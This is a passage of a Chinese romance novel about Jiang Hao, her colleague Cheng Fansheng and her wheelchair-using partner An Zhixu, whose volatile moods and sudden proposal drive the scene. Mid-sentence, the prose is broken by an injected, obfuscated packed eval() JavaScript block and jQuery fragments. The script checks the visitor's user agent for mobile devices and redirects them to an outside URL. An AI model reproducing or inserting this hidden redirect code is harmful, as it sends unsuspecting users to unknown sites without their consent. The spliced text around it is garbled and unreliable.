前后两辆车一前一后到达餐厅。
受到刚刚车上话题的影响，席间，李南恩忍不住用手肘轻轻碰了碰身旁的程泛声，压低声音：
“要不要跟大家说，姜好现在在森愈上班？”
他认为这是个需要谨慎宣布的消息。
程泛声正夹起一筷子菜，闻言动作未停，只淡淡回了一句：“大家都知道啊。”
“嗯？？”李南恩一脸懵，“都知道？？什么时候的事？”
程泛声放下筷子，拿出手机，指尖滑动几下，打开微信群聊，那是森愈的一个不太正式的工作群聊。
李南恩探过脑袋，看着他点开群详情，群里都是熟悉的大家，他熟练地向下滑动，点开一个头像。
是姜好。
李南恩干脆地从他手里拿过手机，翻看聊天记录。
大家基本都在聊森愈的工作，因为都是熟人，也没那么公事公办，活跃又活泼。在这其中，姜好几乎不说话。
李南恩的手指停下，他翻到一张照片。
是森愈开业仪式那天的留影。
其中一张，姜好一身香槟长裙礼服，温婉如兰，她的身旁……李南恩下意识放大照片，仔细端详着轮椅上的男人，俊朗眉眼，沉静气质，与那天酒店的匆匆一面，逐渐重合。
“安知序。”李南恩看着照片，低声念出他的名字。
尚年轻的年龄，竟已有几分安一槐的气质。看似平和，却无端让人觉得内里藏着轻狂与放肆。
李南恩尽量忽视他身下的轮椅，又翻了翻前后的照片。分享到群里的照片不止这一张，也有程泛声和蒋桡与的。
“呀，蒋桡与打扮一下，挺帅的啊。”李南恩从不吝啬夸奖。
不过，群里却无人讨论这组照片。
甚至上一秒还在热烈地交谈，但这组照片一经分享后，所有人仿佛约定好了一般，全部停止了发言。
大家，都默契地避开了谈论姜好。
李南恩将手机还给程泛声。“大家都很在意你对姜好的态度。”
程泛声拿起公筷，给李南恩夹了块他爱吃的排骨，平淡地转移了话题：“吃饭。伦敦的炸鱼薯条还没吃够？”
李南恩看了他一会，拿起筷子。他了解程泛声，这人足够有主见，大多数时候，并不需要他人的建议。
众人都隐隐知道姜好是程泛声招进来的，也知道他们如今尴尬的“叔嫂”关系。但在程泛声面前，全部闭口不提，保持缄默。
程泛声心里明白，除了他自己，没有人那么关心当年的真相，或者姜好背叛的缘由。怀疑另有隐情的，说到底只有他一个人。
过去那么多年了，并非谁都会为旧事继续伤神。他不是一个沉溺于过去的人。他在意的，自始至终，也只是姜好本身。
电话挂断，姜好沉默地看了一会和郁小棠的对话框。
走廊渐渐沉寂，她提起早已收拾好的包，离开办公室。走廊的灯熄了好几盏，她就在这片昏暗中走出森愈。车已经在外等待。
她上了车，趴在车窗上看着不断后退的树木、马路标示牌，直到确定这辆车是往回家的路。
“怎么这么晚回来？”安知序上前迎接。
姜好沉默脱鞋，将包递给佣人：“有些工作还没处理完，多待了半小时。”
安知序握住她的手，姜好却将手轻轻抽离，转而抚上轮椅，推着他来到餐厅。餐厅里热气腾腾，厨房阿姨们正将菜一一端上桌。
安一槐和林婉秋一同出差了，也没看见安以愿的身影。
“我去叫以愿下来吃饭。”姜好将安知序推到餐桌边，转身欲走。阿姨叫住她：“好好，以愿在回家途中，估计开饭时就到了。”
刚动筷子，安以愿便从玄关进来。看见安知序，她惊讶地叫了一声：“呀！哥哥，你回来啦！”
她边脱鞋边往里走，佣人追在后面收拾。
“忘了，好好嫂嫂回来了，你肯定要回来。”
安知序笑笑，在桌下捏了捏姜好的手，声音温润醇厚：“好好离开我一次，我快想疯了。”
安以愿闻言，抬眼看了看哥哥。哥哥向来不算太内敛，但也绝不是奔放热烈的一个人。
这么直白的表达爱的方式……她只在程泛声身上见过，这句话从安知序嘴里说出来，她觉得违和得要命。
她抬起双肩，嘴巴夸张地撇了撇：“肉麻死了，一身鸡皮疙瘩都起来了！”
虽然这样的哥哥让她多少感到奇怪，但捧场必不可少。
姜好默默将手放回膝上，低头夹着饭菜。
有安以愿在，这顿饭不至于沉默。她叽里咕噜说着今天和朋友野餐的趣事，安知序接她的话，姜好则安静地听着，发言比平日少很多。
一向大大咧咧的安以愿并未察觉到这细微的变化。
刚吃完饭，她的钢琴老师就来了。安以愿将碗筷一推，屁颠屁颠跑去学钢琴。
断断续续的琴声在空旷的宅子里回荡，漫进略显窒息的空气里。姜好放下筷子，轻声道一句：“我上楼了。”
她垂着眼，并不在看谁。
“好好！”
轮椅因急速转动与地面摩擦，发出刺耳声响。
安知序追上她：“好好，你还在生气。”
这是一个陈述句，并不以问号结尾。这让姜好觉得解脱，因为她不知是否该承认。
或者，他是否允许她承认。
她没有回答，径直进了电梯。
进入房间，她看见郁小棠发来的消息。
【郁小棠：下周三我要去出差，泛声让你和我一起去】
【郁小棠：去吧】
【郁小棠：周三、周四会议，周五我们可以休息一天再回来】
郁小棠还分享了一条当地的旅游攻略。
姜好的眼睛瞬间亮起来，心头那一层薄薄的阴霾好似一扫而空。
【姜好：好！！】
“好好。”门被敲响，安知序的声音从门外传来。
隔着门，他的声音比平常更沉、更低，姜好的心好似也随之往下一沉。
她迅速删除和郁小棠的聊天记录，起身开门。
安知序没有进来，而是轻声请求：“好好，帮我做下按摩。”他小心翼翼地观察她的神色：“……好吗？”
他虽然尽可能地摆出轻松的神色与姿态，但他自己可能都没有注意到，他眉头那块肌肉，在无意识地用力。
姜好的目光下落，注视着他的眼睛。
他立刻有些可怜地调动眼尾的肌肉，看起来像一条可怜兮兮求摸摸的大狗狗。
她对这样的他一点也不陌生。在美国，他们初识不久，安知序时常无端发怒。
姜好没办法和一个病人沟通。何况这个病人不止身体病得很严重，心同样受到沉重的伤害。
她除了退出房间，避免波及外，别无他法。
一场足以摧毁他们温馨的小家的风暴平
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121770|191701||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
息以后，安知序会安静下来。身体的力气耗尽，心就会得到片刻宁静，这可真奇怪。
姜好和阿姨一起收拾打碎的花瓶、推翻的椅子、满地的狼藉。有时刚开始收拾，有时进行到一半，有时接近尾声。
安知序来到她身边：“对不起，好好。”
那时他的表情与此刻如出一辙。
姜好没办法不原谅他。他是病人，他无法控制自己的情绪，她怎么能和一个病人计较？她不能影响他的康复进程。
于是，她会俯身给他一个拥抱，双方便以此来确定，他们的关系又回到平和的日子里。
此时此刻，安知序正在等待这个拥抱。
姜好没什么情绪地点点头：“好。”
她没有给他拥抱，只是推他返回他的房间。
他已经做完今日的训练、洗过澡，房间里弥漫着淡淡的香气。姜好举过他的一条腿，手指开始轻柔地按压。
安知序的双腿只有很轻微的知觉，无法行动，姜好的力道传来，他只能模糊地感受到被戳碰。
像隔了数层薄纱。
就像现在，他与姜好之间。
他隔着这层无形的薄纱，凝视着她。
她的刘海垂落，遮在脸颊，也阻挡了他追寻她的视线。
他原本该亲密地伸出手，替她挽起不听话的发丝。他的手指抬了抬，手掌还未完全离开床面，心头掠过不安，又无力地落了回去。
所有的思绪，化成一声轻唤：“好好……”
她的头动了动，并未看向他：“嗯？”
“对不起，好好。我只是不想你离开我，我害怕失去你。我们……”
他忽然后悔，她生日那天他没有坚持执行求婚的计划。
“没关系”已经溢在唇边，姜好却将紧紧闭上了双唇。
事实上，她最终一定会原谅他。
不得不原谅他。
她无法和一个病人计较。
但是。
但是，同样有一件事，此刻她无法做到。那就是在当下这一刻，说出原谅。
“我们结婚吧。”他终于平静而颤抖地将这句话说完，继续清晰地补充，“第二个衣柜的最后一层抽屉。戒指，在那里。”
他早已将她规划进他的人生里。
他的身边从来不缺女孩子，在他的这具身体残败以前，他就已经见识过各种性格的女孩。但她们很少引起他的兴趣，无论病前还是病后，他拒绝她们过于亲密的接触。
他只这样爱过姜好。只爱过她一个人。
有时他也会想，若他是健康而完整的，是否还会如此爱她、喜欢她。
他一直认为，喜欢和爱是两种东西。而他，对她兼具二者。
既爱她又喜欢她。
当这两种抽象的感情汇聚在一个人身上，他的世界便只为她运转，因她的出现而花开遍野，因她的离去而落叶纷飞。
四季轮换，他得出结论，如果意外没有发生，他们不会相遇，自然没有后续。但一旦相遇，他注定会爱上她、喜欢她。
命中注定。
他渴望给她全部的爱，从未如此刻般希望自己是完整的，方能献上完整无缺的爱意。多年以后，子孙绕膝，他依然将她轻轻哄睡。
姜好终于抬起头，给了他一个眼神。
浅浅的，淡淡的。
如同冬末春初，枝头那一点将绽未绽的春意。
花儿含着苞，等待盛开。